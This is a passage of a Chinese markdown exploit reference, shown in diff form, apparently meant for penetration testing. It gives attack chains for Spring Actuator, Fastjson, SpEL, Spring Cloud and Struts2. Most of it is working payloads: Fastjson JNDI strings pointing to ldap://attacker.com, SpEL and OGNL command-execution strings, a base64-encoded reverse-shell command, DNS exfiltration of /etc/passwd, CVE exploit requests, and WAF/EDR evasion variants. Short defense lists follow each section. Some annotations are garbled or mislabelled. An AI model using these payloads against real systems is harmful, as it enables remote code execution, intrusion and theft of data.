|
+
/;/actuator/env
|
|
171
|
+
/actuator;.js/env
|
|
172
|
+
/actuator/..;/actuator/env
|
|
173
|
+
|
|
174
|
+
# 双URL编码:
|
|
175
|
+
/%61%63%74%75%61%74%6f%72/env
|
|
176
|
+
/actuator/%65%6e%76
|
|
177
|
+
|
|
178
|
+
# 路径穿越:
|
|
179
|
+
/random/../actuator/env
|
|
180
|
+
/api/v1/../../actuator/heapdump
|
|
181
|
+
```
|
|
182
|
+
**语法解析:**
|
|
183
|
+
- `# 分号路径参数绕过(Spring特性):` — 主要命令 _command_
|
|
184
|
+
- `...` — 共10行 _value_
|
|
185
|
+
|
|
186
|
+
**HTTP方法覆盖与Content-Type绕过**
|
|
187
|
+
> 使用X-HTTP-Method-Override头覆盖请求方法,或通过非标准Content-Type和大小写变体绕过WAF对Actuator端点的POST请求拦截
|
|
188
|
+
```
|
|
189
|
+
# HTTP方法覆盖:
|
|
190
|
+
GET /actuator/env HTTP/1.1
|
|
191
|
+
X-HTTP-Method-Override: POST
|
|
192
|
+
|
|
193
|
+
# Content-Type绕过:
|
|
194
|
+
POST /actuator/env HTTP/1.1
|
|
195
|
+
Content-Type: application/x-www-form-urlencoded
|
|
196
|
+
spring.cloud.bootstrap.location=http://attacker.com/payload.yml
|
|
197
|
+
|
|
198
|
+
# 大小写绕过:
|
|
199
|
+
/Actuator/Env
|
|
200
|
+
/ACTUATOR/ENV
|
|
201
|
+
```
|
|
202
|
+
**语法解析:**
|
|
203
|
+
- `# HTTP方法覆盖:` — 主要命令 _command_
|
|
204
|
+
- `...` — 共10行 _value_
|
|
205
|
+
|
|
206
|
+
|
|
207
|
+
**概述:** Spring Actuator提供了生产级别的监控和管理功能,配置不当可能泄露敏感信息或导致RCE。
|
|
208
|
+
|
|
209
|
+
**漏洞原理:** Spring Boot Actuator暴露大量管理端点:/env泄露环境变量和数据库密码、/heapdump可下载JVM堆内存(含密钥/凭证)、/jolokia可通过JMX执行代码、/gateway/routes(Spring Cloud Gateway)可注入SpEL实现RCE。
|
|
210
|
+
|
|
211
|
+
**利用方法:** 完整利用流程:
|
|
212
|
+
1. 探测暴露的端点
|
|
213
|
+
2. 获取环境变量和配置
|
|
214
|
+
3. 下载堆转储分析
|
|
215
|
+
4. 利用env端点RCE
|
|
216
|
+
|
|
217
|
+
**防御措施:** 防御措施:
|
|
218
|
+
1. 限制Actuator端点访问
|
|
219
|
+
2. 禁用敏感端点
|
|
220
|
+
3. 使用Spring Security保护
|
|
221
|
+
4. 生产环境禁用heapdump
|
|
222
|
+
|
|
223
|
+
---
|
|
224
|
+
|
|
225
|
+
### Fastjson RCE `fastjson-rce`
|
|
226
|
+
_Alibaba Fastjson反序列化远程代码执行_
|
|
227
|
+
子类:**Fastjson** · tags: `fastjson` `rce` `deserialization` `java`
|
|
228
|
+
|
|
229
|
+
**前置条件:**
|
|
230
|
+
- 使用Fastjson库
|
|
231
|
+
- 存在反序列化点
|
|
232
|
+
|
|
233
|
+
**攻击链:**
|
|
234
|
+
|
|
235
|
+
**1. 探测Fastjson**
|
|
236
|
+
> 探测Fastjson版本
|
|
237
|
+
```
|
|
238
|
+
发送JSON请求,观察响应:
|
|
239
|
+
{"@type":"java.net.Inet4Address","val":"attacker.com"}
|
|
240
|
+
观察是否有DNS回调
|
|
241
|
+
```
|
|
242
|
+
**语法解析:**
|
|
243
|
+
- `@type` — Fastjson类型指定 _value_
|
|
244
|
+
- `java.net.Inet4Address` — 触发DNS解析的类 _value_
|
|
245
|
+
|
|
246
|
+
**2. JNDI注入**
|
|
247
|
+
> JNDI注入RCE
|
|
248
|
+
```
|
|
249
|
+
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker.com:1389/Exploit","autoCommit":true}
|
|
250
|
+
```
|
|
251
|
+
**语法解析:**
|
|
252
|
+
- `JdbcRowSetImpl` — 可利用的JDBC类 _value_
|
|
253
|
+
- `dataSourceName` — JNDI数据源名称 _value_
|
|
254
|
+
- `autoCommit` — 触发JNDI查找 _value_
|
|
255
|
+
|
|
256
|
+
**3. 搭建恶意服务**
|
|
257
|
+
> 搭建恶意LDAP/RMI服务
|
|
258
|
+
```
|
|
259
|
+
使用JNDIExploit:
|
|
260
|
+
java -jar JNDIExploit.jar -i attacker.com
|
|
261
|
+
或使用marshalsec:
|
|
262
|
+
java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer http://attacker.com:8080/#Exploit 1389
|
|
263
|
+
```
|
|
264
|
+
**语法解析:**
|
|
265
|
+
- `使用JNDIExploit:` — 命令/关键字 _command_
|
|
266
|
+
|
|
267
|
+
**4. 绕过AutoType检查**
|
|
268
|
+
> 绕过AutoType黑名单
|
|
269
|
+
```
|
|
270
|
+
1.2.47版本绕过:
|
|
271
|
+
{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker.com/Exploit","autoCommit":true}}
|
|
272
|
+
```
|
|
273
|
+
**语法解析:**
|
|
274
|
+
- `ldap:` — LDAP协议 _method_
|
|
275
|
+
|
|
276
|
+
**WAF/EDR 绕过变体:**
|
|
277
|
+
|
|
278
|
+
**Unicode编码与嵌套JSON绕过**
|
|
279
|
+
> 通过Unicode(\u0040)、十六进制(\x40)编码@type字段名或嵌套JSON结构绕过WAF对Fastjson特征的检测
|
|
280
|
+
```
|
|
281
|
+
# Unicode编码@type:
|
|
282
|
+
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker.com/Exploit","autoCommit":true}
|
|
283
|
+
|
|
284
|
+
# 十六进制编码:
|
|
285
|
+
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker.com/Exploit","autoCommit":true}
|
|
286
|
+
|
|
287
|
+
# 嵌套JSON混淆:
|
|
288
|
+
{"a":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker.com/Exploit","autoCommit":true}}
|
|
289
|
+
```
|
|
290
|
+
**语法解析:**
|
|
291
|
+
- `# Unicode编码@type:` — 主要命令 _command_
|
|
292
|
+
- `...` — 共6行 _value_
|
|
293
|
+
|
|
294
|
+
**BCEL ClassLoader与版本特异链**
|
|
295
|
+
> 针对不同Fastjson版本使用特异性利用链:BCEL ClassLoader加载字节码、1.2.47缓存投毒、1.2.68 expectClass白名单绕过
|
|
296
|
+
```
|
|
297
|
+
# BCEL ClassLoader(Fastjson 1.1.15-1.2.24):
|
|
298
|
+
{"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader","":"$$BCEL$$$l$8b..."}
|
|
299
|
+
|
|
300
|
+
# Fastjson 1.2.47 AutoType绕过:
|
|
301
|
+
{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker.com/Exploit","autoCommit":true}}
|
|
302
|
+
|
|
303
|
+
# Fastjson 1.2.68 expectClass绕过:
|
|
304
|
+
{"@type":"java.lang.AutoCloseable","@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker.com/Exploit","autoCommit":true}
|
|
305
|
+
```
|
|
306
|
+
**语法解析:**
|
|
307
|
+
- `# BCEL ClassLoader(Fastjson 1.1.15-1.2.24):` — 主要命令 _command_
|
|
308
|
+
- `...` — 共6行 _value_
|
|
309
|
+
|
|
310
|
+
|
|
311
|
+
**概述:** Fastjson是阿里巴巴开发的Java JSON库,其autoType功能允许JSON中指定Java类进行反序列化,攻击者可利用此特性加载恶意类实现远程代码执行,影响大量Java应用。
|
|
312
|
+
|
|
313
|
+
**漏洞原理:** Fastjson漏洞通过@type字段指定反序列化的Java类:1.2.24以下可直接利用JdbcRowSetImpl触发JNDI注入,1.2.25-1.2.47通过autoType黑名单绕过(java.lang.Class缓存绕过),1.2.68以下利用expectClass绕过。利用链需配合LDAP/RMI远程加载恶意类。
|
|
314
|
+
|
|
315
|
+
**利用方法:** 完整利用流程:
|
|
316
|
+
1. 确认Fastjson版本
|
|
317
|
+
2. 构造JNDI注入payload
|
|
318
|
+
3. 搭建恶意LDAP服务
|
|
319
|
+
4. 加载恶意类执行命令
|
|
320
|
+
|
|
321
|
+
**防御措施:** 防御措施:
|
|
322
|
+
1. 升级Fastjson到最新版本
|
|
323
|
+
2. 禁用AutoType
|
|
324
|
+
3. 配置safeMode
|
|
325
|
+
4. 使用安全过滤器
|
|
326
|
+
|
|
327
|
+
---
|
|
328
|
+
|
|
329
|
+
### Spring SpEL注入 `spring-spel`
|
|
330
|
+
_Spring表达式语言注入攻击_
|
|
331
|
+
子类:**Spring SpEL** · tags: `spring` `spel` `expression` `rce`
|
|
332
|
+
|
|
333
|
+
**前置条件:**
|
|
334
|
+
- 使用Spring框架
|
|
335
|
+
- 存在SpEL注入点
|
|
336
|
+
|
|
337
|
+
**攻击链:**
|
|
338
|
+
|
|
339
|
+
**1. 探测SpEL注入**
|
|
340
|
+
> 探测SpEL注入点
|
|
341
|
+
```
|
|
342
|
+
# 测试表达式执行
|
|
343
|
+
${7*7}
|
|
344
|
+
#{7*7}
|
|
345
|
+
${T(java.lang.Runtime).getRuntime()}
|
|
346
|
+
|
|
347
|
+
# 观察响应
|
|
348
|
+
# 如果返回49或执行成功则存在漏洞
|
|
349
|
+
```
|
|
350
|
+
**语法解析:**
|
|
351
|
+
- `${...}` — Spring表达式语法 _value_
|
|
352
|
+
- `#{...}` — SpEL表达式语法 _value_
|
|
353
|
+
- `T()` — 类型引用 _function_
|
|
354
|
+
|
|
355
|
+
**2. 命令执行**
|
|
356
|
+
> 执行系统命令
|
|
357
|
+
```
|
|
358
|
+
# Runtime执行命令
|
|
359
|
+
${T(java.lang.Runtime).getRuntime().exec("id")}
|
|
360
|
+
#{T(java.lang.Runtime).getRuntime().exec("whoami")}
|
|
361
|
+
|
|
362
|
+
# ProcessBuilder
|
|
363
|
+
${new java.lang.ProcessBuilder(new String[]{"id"}).start()}
|
|
364
|
+
#{new java.lang.ProcessBuilder(new String[]{"cmd","/c","whoami"}).start()}
|
|
365
|
+
|
|
366
|
+
# 反弹Shell
|
|
367
|
+
${T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9hdHRhY2tlci9QMDBBIA==}|{base64,-d}|{bash,-i}")}
|
|
368
|
+
```
|
|
369
|
+
**语法解析:**
|
|
370
|
+
- `T(java.lang.Runtime)` — 引用Runtime类 _value_
|
|
371
|
+
- `getRuntime()` — 获取Runtime实例 _function_
|
|
372
|
+
- `exec()` — 执行命令 _function_
|
|
373
|
+
|
|
374
|
+
**3. 文件读取**
|
|
375
|
+
> 读取敏感文件
|
|
376
|
+
```
|
|
377
|
+
# 读取文件
|
|
378
|
+
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("cat /etc/passwd").getInputStream())}
|
|
379
|
+
|
|
380
|
+
# 使用Scanner
|
|
381
|
+
#{new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("cat /etc/passwd").getInputStream()).useDelimiter("\\A").next()}
|
|
382
|
+
|
|
383
|
+
# 直接读取
|
|
384
|
+
${T(java.nio.file.Files).readAllLines(T(java.nio.file.Paths).get("/etc/passwd"))}
|
|
385
|
+
```
|
|
386
|
+
**语法解析:**
|
|
387
|
+
- `EXEC` — 执行存储过程 _keyword_
|
|
388
|
+
- `/etc/passwd` — 敏感文件路径 _path_
|
|
389
|
+
- `Runtime.exec` — Java命令执行 _function_
|
|
390
|
+
|
|
391
|
+
**4. DNS外带**
|
|
392
|
+
> DNS外带数据
|
|
393
|
+
```
|
|
394
|
+
# DNS外带数据
|
|
395
|
+
${T(java.net.InetAddress).getByName("attacker.com")}
|
|
396
|
+
|
|
397
|
+
# 外带文件内容
|
|
398
|
+
${T(java.net.InetAddress).getByName(T(java.lang.String).valueOf(T(java.nio.file.Files).readAllBytes(T(java.nio.file.Paths).get("/etc/passwd"))).substring(0,20)+".attacker.com")}
|
|
399
|
+
```
|
|
400
|
+
**语法解析:**
|
|
401
|
+
- `getByName` — 解析域名触发DNS请求 _value_
|
|
402
|
+
|
|
403
|
+
**WAF/EDR 绕过变体:**
|
|
404
|
+
|
|
405
|
+
**字符串拼接**
|
|
406
|
+
> 字符串拼接绕过
|
|
407
|
+
```
|
|
408
|
+
# 绕过关键字过滤
|
|
409
|
+
${T(java.lang.Run"+"time).getRun"+"time().exec("id")}
|
|
410
|
+
#{T(String).getClass().forName("java.la"+"ng.Runtime").getMethod("exec",T(String)).invoke(T(String).getClass().forName("java.la"+"ng.Runtime").getMethod("getRuntime").invoke(null),"id")}
|
|
411
|
+
```
|
|
412
|
+
**语法解析:**
|
|
413
|
+
- `EXEC` — 执行存储过程 _keyword_
|
|
414
|
+
- `Runtime.exec` — Java命令执行 _function_
|
|
415
|
+
|
|
416
|
+
**反射绕过**
|
|
417
|
+
> 反射绕过
|
|
418
|
+
```
|
|
419
|
+
# 使用反射
|
|
420
|
+
#{T(Class).forName("java.lang.Runtime").getMethod("exec",T(String)).invoke(T(Class).forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"id")}
|
|
421
|
+
|
|
422
|
+
# 使用ScriptEngine
|
|
423
|
+
#{T(javax.script.ScriptEngineManager).newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\\"id\\")")}
|
|
424
|
+
```
|
|
425
|
+
**语法解析:**
|
|
426
|
+
- `EXEC` — 执行存储过程 _keyword_
|
|
427
|
+
- `eval()` — 代码执行 _function_
|
|
428
|
+
- `Runtime.exec` — Java命令执行 _function_
|
|
429
|
+
|
|
430
|
+
|
|
431
|
+
**概述:** Spring表达式语言(SpEL)注入是Spring框架中的严重漏洞,允许攻击者在SpEL表达式上下文中执行任意Java代码。受影响的组件包括Spring MVC、Spring Cloud、Spring Data等多个模块。
|
|
432
|
+
|
|
433
|
+
**漏洞原理:** SpEL注入通过T(java.lang.Runtime).getRuntime().exec()执行系统命令,或通过ClassLoader加载远程类。触发点包括:Spring Cloud Gateway的路由断言/过滤器、Spring Data的@Value注解、Thymeleaf预处理表达式、Spring Security OAuth的错误处理。
|
|
434
|
+
|
|
435
|
+
**利用方法:** 完整利用流程:
|
|
436
|
+
1. 探测SpEL注入点
|
|
437
|
+
2. 确认表达式执行
|
|
438
|
+
3. 使用Runtime执行命令
|
|
439
|
+
4. 读取敏感文件或反弹Shell
|
|
440
|
+
|
|
441
|
+
**防御措施:** 防御措施:
|
|
442
|
+
1. 避免用户输入直接用于表达式
|
|
443
|
+
2. 使用SimpleEvaluationContext
|
|
444
|
+
3. 输入验证和过滤
|
|
445
|
+
4. 升级Spring版本
|
|
446
|
+
|
|
447
|
+
---
|
|
448
|
+
|
|
449
|
+
### Spring Cloud漏洞 `spring-cloud`
|
|
450
|
+
_Spring Cloud相关漏洞利用_
|
|
451
|
+
子类:**Spring Cloud** · tags: `spring` `cloud` `rce` `deserialization`
|
|
452
|
+
|
|
453
|
+
**前置条件:**
|
|
454
|
+
- 使用Spring Cloud
|
|
455
|
+
- 存在漏洞版本
|
|
456
|
+
|
|
457
|
+
**攻击链:**
|
|
458
|
+
|
|
459
|
+
**1. Spring Cloud Gateway RCE**
|
|
460
|
+
> Spring Cloud Gateway RCE
|
|
461
|
+
```
|
|
462
|
+
# CVE-2022-22947
|
|
463
|
+
# 添加恶意路由
|
|
464
|
+
POST /actuator/gateway/routes/hack HTTP/1.1
|
|
465
|
+
Content-Type: application/json
|
|
466
|
+
|
|
467
|
+
{
|
|
468
|
+
"id": "hack",
|
|
469
|
+
"filters": [{
|
|
470
|
+
"name": "AddResponseHeader",
|
|
471
|
+
"args": {
|
|
472
|
+
"name": "Result",
|
|
473
|
+
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
|
|
474
|
+
}
|
|
475
|
+
}],
|
|
476
|
+
"uri": "http://example.com"
|
|
477
|
+
}
|
|
478
|
+
|
|
479
|
+
# 刷新路由
|
|
480
|
+
POST /actuator/gateway/refresh
|
|
481
|
+
|
|
482
|
+
# 查看结果
|
|
483
|
+
GET /actuator/gateway/routes/hack
|
|
484
|
+
```
|
|
485
|
+
**语法解析:**
|
|
486
|
+
- `actuator/gateway/routes` — Gateway路由管理端点 _encoding_
|
|
487
|
+
- `AddResponseHeader` — 添加响应头过滤器 _encoding_
|
|
488
|
+
|
|
489
|
+
**2. Spring Cloud Function SpEL**
|
|
490
|
+
> Spring Cloud Function SpEL注入
|
|
491
|
+
```
|
|
492
|
+
# CVE-2022-22963
|
|
493
|
+
# 修改请求头触发SpEL
|
|
494
|
+
POST /functionRouter HTTP/1.1
|
|
495
|
+
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("id")
|
|
496
|
+
Content-Type: text/plain
|
|
497
|
+
|
|
498
|
+
payload
|
|
499
|
+
```
|
|
500
|
+
**语法解析:**
|
|
501
|
+
- `spring.cloud.function.routing-expression` — 路由表达式头 _value_
|
|
502
|
+
|
|
503
|
+
**3. Spring Cloud Netflix**
|
|
504
|
+
> Spring Cloud Netflix漏洞
|
|
505
|
+
```
|
|
506
|
+
# CVE-2020-5410 目录遍历
|
|
507
|
+
GET /..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc/passwd
|
|
508
|
+
|
|
509
|
+
# Eureka Server SSRF
|
|
510
|
+
POST /eureka/apps
|
|
511
|
+
# 配置serviceUrl指向内网服务
|
|
512
|
+
```
|
|
513
|
+
**语法解析:**
|
|
514
|
+
- `%xx` — URL编码 _encoding_
|
|
515
|
+
|
|
516
|
+
**WAF/EDR 绕过变体:**
|
|
517
|
+
|
|
518
|
+
**编码绕过**
|
|
519
|
+
> 编码绕过
|
|
520
|
+
```
|
|
521
|
+
# URL编码绕过
|
|
522
|
+
..%252f = ..%2f = ../
|
|
523
|
+
|
|
524
|
+
# 双重URL编码
|
|
525
|
+
..%252f..%252f
|
|
526
|
+
```
|
|
527
|
+
**语法解析:**
|
|
528
|
+
- `#` — 命令/载荷起始 _command_
|
|
529
|
+
- ` URL编码绕过
|
|
530
|
+
..%252f = ..%2f = ../
|
|
531
|
+
|
|
532
|
+
# 双重URL编码
|
|
533
|
+
..%252f..%252f` — 参数与载荷内容 _value_
|
|
534
|
+
|
|
535
|
+
|
|
536
|
+
**概述:** Spring Cloud是微服务架构中的核心框架,其安全漏洞可影响整个微服务集群。已知的高危漏洞包括Spring Cloud Gateway SpEL注入(CVE-2022-22947)和Spring Cloud Function RCE(CVE-2022-22963)等。
|
|
537
|
+
|
|
538
|
+
**漏洞原理:** Spring Cloud漏洞:1)Gateway Actuator SpEL注入(通过/actuator/gateway/routes添加包含SpEL的路由) 2)Cloud Function通过spring.cloud.function.routing-expression头注入SpEL 3)Config Server路径穿越读取任意文件。
|
|
539
|
+
|
|
540
|
+
**利用方法:** 完整利用流程:
|
|
541
|
+
1. 识别Spring Cloud组件
|
|
542
|
+
2. 检测Actuator端点
|
|
543
|
+
3. 利用已知CVE漏洞
|
|
544
|
+
4. 执行命令或读取文件
|
|
545
|
+
|
|
546
|
+
**防御措施:** 防御措施:
|
|
547
|
+
1. 升级到安全版本
|
|
548
|
+
2. 禁用不必要的Actuator端点
|
|
549
|
+
3. 实施访问控制
|
|
550
|
+
4. 监控异常请求
|
|
551
|
+
|
|
552
|
+
---
|
|
553
|
+
|
|
554
|
+
### Struts2远程代码执行 `struts2-rce`
|
|
555
|
+
_Apache Struts2框架RCE漏洞_
|
|
556
|
+
子类:**Struts2** · tags: `struts2` `rce` `java` `apache`
|
|
557
|
+
|
|
558
|
+
**前置条件:**
|
|
559
|
+
- 使用Struts2框架
|
|
560
|
+
- 存在漏洞版本
|
|
561
|
+
|
|
562
|
+
**攻击链:**
|
|
563
|
+
|
|
564
|
+
**1. S2-045漏洞**
|
|
565
|
+
> S2-045 Content-Type注入
|
|
566
|
+
```
|
|
567
|
+
# CVE-2017-5638
|
|
568
|
+
# Content-Type头注入
|
|
569
|
+
Content-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
|
|
570
|
+
```
|
|
571
|
+
**语法解析:**
|
|
572
|
+
- `multipart/form-data` — 触发漏洞的Content-Type _value_
|
|
573
|
+
- `#dm` — 默认成员访问权限 _value_
|
|
574
|
+
- `#cmd` — 要执行的命令 _value_
|
|
575
|
+
|
|
576
|
+
**2. S2-046漏洞**
|
|
577
|
+
> S2-046 Content-Disposition注入
|
|
578
|
+
```
|
|
579
|
+
# CVE-2017-5638
|
|
580
|
+
# Content-Disposition注入
|
|
581
|
+
Content-Disposition: form-data; name="upload"; filename="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test','vulnerable')}"
|
|
582
|
+
|
|
583
|
+
# 完整RCE
|
|
584
|
+
Content-Disposition: form-data; name="upload"; filename="%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess=#dm).(#cmd='id').(#cmds={'/bin/bash','-c',#cmd}).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}"
|
|
585
|
+
```
|
|
586
|
+
|
|
587
|
+
**3. S2-057漏洞**
|
|
588
|
+
> S2-057 URL命名空间注入
|
|
589
|
+
```
|
|
590
|
+
# CVE-2018-11776
|
|
591
|
+
# URL命名空间注入
|
|
592
|
+
http://target/${(111+111)}/test.action
|
|
593
|
+
# 如果返回222则存在漏洞
|
|
594
|
+
|
|
595
|
+
# RCE
|
|
596
|
+
http://target/${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess=#dm).(#cmd='id').(#cmds={'/bin/bash','-c',#cmd}).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}/test.action
|
|
597
|
+
```
|
|
598
|
+
**语法解析:**
|
|
599
|
+
- `OGNL` — OGNL表达式 _format_
|
|
600
|
+
|
|
601
|
+
**4. S2-061/S2-062漏洞**
|
|
602
|
+
> S2-061/062 OGNL注入
|
|
603
|
+
```
|
|
604
|
+
# CVE-2020-17530
|
|
605
|
+
# OGNL表达式注入
|
|
606
|
+
POST /action HTTP/1.1
|
|
607
|
+
Content-Type: application/x-www-form-urlencoded
|
|
608
|
+
|
|
609
|
+
id=%25%7b%23dm%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS.%40java.lang.Runtime%40getRuntime().exec(%27id%27)%7d
|
|
610
|
+
|
|
611
|
+
# 解码后
|
|
612
|
+
id=%{#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS.@java.lang.Runtime@getRuntime().exec('id')}
|
|
613
|
+
```
|
|
614
|
+
**语法解析:**
|
|
615
|
+
- `EXEC` — 执行存储过程 _keyword_
|
|
616
|
+
- `Content-Type` — 内容类型头 _header_
|
|
617
|
+
- `%xx` — URL编码 _encoding_
|
|
618
|
+
- `OGNL` — OGNL表达式 _format_
|
|
619
|
+
- `Runtime.exec` — Java命令执行 _function_
|
|
620
|
+
|
|
621
|
+
**WAF/EDR 绕过变体:**
|
|
622
|
+
|
|
623
|
+
**编码绕过**
|
|
624
|
+
> 编码绕过
|
|
625
|
+
```
|
|
626
|
+
# URL编码
|
|
627
|
+
%{#cmd} = %25%7b%23cmd%7d
|
|
628
|
+
|
|
629
|
+
# Unicode编码
|
|
630
|
+
\u0025{#cmd}
|
|
631
|
+
|
|
632
|
+
# 双重编码
|
|
633
|
+
%2525%257b%2523cmd%257d
|
|
634
|
+
```
|
|
635
|
+
**语法解析:**
|
|
636
|
+
- `#` — 命令/载荷起始 _command_
|
|
637
|
+
- ` URL编码
|
|
638
|
+
%{#cmd} = %25%7b%23cmd%7d
|
|
639
|
+
|
|
640
|
+
# Unicode编码
|
|
641
|
+
\%{#cmd}
|
|
642
|
+
|
|
643
|
+
# 双重编码
|
|
644
|
+
%2525%257b%2523cmd%257d` — 参数与载荷内容 _value_
|
|
645
|
+
|
|
646
|
+
**表达式变体**
|
|
647
|
+
> 表达式变体绕过
|
|
648
|
+
```
|
|
649
|
+
# 不同表达式语法
|
|
650
|
+
${...}
|
|
651
|
+
%{...}
|
|
652
|
+
#{...}
|
|
653
|
+
@{...}
|
|
654
|
+
|
|
655
|
+
# 使用静态方法
|
|
656
|
+
@java.lang.Runtime@getRuntime()
|
|
657
|
+
new java.lang.ProcessBuilder()
|
|
658
|
+
```
|
|
659
|
+
**语法解析:**
|
|
660
|
+
- `# 不同表达式语法
|
|
661
|
+
${...}
|
|
662
|
+
%{...}
|
|
663
|
+
#{...}
|
|
664
|
+
@{...}
|
|
665
|
+
|
|
666
|
+
# 使用静态方法
|
|
667
|
+
@java` — 模板表达式注入 _value_
|
|
668
|
+
|
|
669
|
+
|
|
670
|
+
**概述:** Apache Struts2是经典的Java Web框架,历史上存在大量RCE漏洞(S2-001到S2-066+),主要源于OGNL表达式注入。Struts2漏洞曾导致美国Equifax等重大数据泄露事件,至今仍是攻击者重点目标。
|
|
671
|
+
|
|
672
|
+
**漏洞原理:** Struts2 RCE漏洞利用OGNL(Object-Graph Navigation Language)表达式注入:%{expression}或${expression}在处理用户输入时被解析为OGNL表达式执行Java代码。高危CVE包括S2-045(Content-Type头)、S2-046(文件名)、S2-057(namespace)等。
|
|
673
|
+
|
|
674
|
+
**利用方法:** 完整利用流程:
|
|
675
|
+
1. 识别Struts2框架
|
|
676
|
+
2. 检测漏洞版本
|
|
677
|
+
3. 选择合适的CVE利用
|
|
678
|
+
4. 执行命令或反弹Shell
|
|
679
|
+
|
|
680
|
+
**防御措施:** 防御措施:
|
|
681
|
+
1. 升级到最新版本
|
|
682
|
+
2. 禁用动态方法调用
|
|
683
|
+
3. 严格过滤用户输入
|
|
684
|
+
4. 部署WAF
|
|
685
|
+
|
|
686
|
+
---
|
|
687
|
+
|
|
688
|
+
### Struts2 OGNL表达式注入 `struts2-ognl`
|
|
689
|
+
_Struts2 OGNL表达式注入技术详解_
|
|
690
|
+
子类:**Struts2 OGNL** · tags: `struts2` `ognl` `expression` `injection`
|
|
691
|
+
|
|
692
|
+
**前置条件:**
|
|
693
|
+
- 使用Struts2框架
|
|
694
|
+
- 存在OGNL注入点
|
|
695
|
+
|
|
696
|
+
**攻击链:**
|
|
697
|
+
|
|
698
|
+
**1. OGNL基础语法**
|
|
699
|
+
> OGNL基础语法
|
|
700
|
+
```
|
|
701
|
+
# 访问对象属性
|
|
702
|
+
#object.property
|
|
703
|
+
#object['property']
|
|
704
|
+
|
|
705
|
+
# 调用方法
|
|
706
|
+
#object.method()
|
|
707
|
+
#object.method(arg1, arg2)
|
|
708
|
+
|
|
709
|
+
# 静态方法调用
|
|
710
|
+
@package.ClassName@method()
|
|
711
|
+
@java.lang.Runtime@getRuntime()
|
|
712
|
+
|
|
713
|
+
# 创建对象
|
|
714
|
+
new java.lang.String("test")
|
|
715
|
+
new java.lang.ProcessBuilder(new String[]{"id"})
|
|
716
|
+
```
|
|
717
|
+
**语法解析:**
|
|
718
|
+
- `#` — 访问OGNL上下文变量 _value_
|
|
719
|
+
- `@` — 访问静态成员 _value_
|
|
720
|
+
- `new` — 创建新对象 _value_
|
|
721
|
+
|
|
722
|
+
**2. 绕过安全限制**
|
|
723
|
+
> 绕过安全限制
|
|
724
|
+
```
|
|
725
|
+
# 获取DEFAULT_MEMBER_ACCESS
|
|
726
|
+
#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS
|
|
727
|
+
|
|
728
|
+
# 设置成员访问权限
|
|
729
|
+
#_memberAccess=#dm
|
|
730
|
+
|
|
731
|
+
# 清除排除类
|
|
732
|
+
#ognlUtil.getExcludedClasses().clear()
|
|
733
|
+
#ognlUtil.getExcludedPackageNames().clear()
|
|
734
|
+
|
|
735
|
+
# 完整绕过
|
|
736
|
+
(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm))))
|
|
737
|
+
```
|
|
738
|
+
**语法解析:**
|
|
739
|
+
- `OGNL` — OGNL表达式 _format_
|
|
740
|
+
|
|
741
|
+
**3. 命令执行技巧**
|
|
742
|
+
> 命令执行技巧
|
|
743
|
+
```
|
|
744
|
+
# 使用Runtime
|
|
745
|
+
#cmd='id'
|
|
746
|
+
#cmds={'/bin/bash','-c',#cmd}
|
|
747
|
+
#p=new java.lang.ProcessBuilder(#cmds)
|
|
748
|
+
#process=#p.start()
|
|
749
|
+
|
|
750
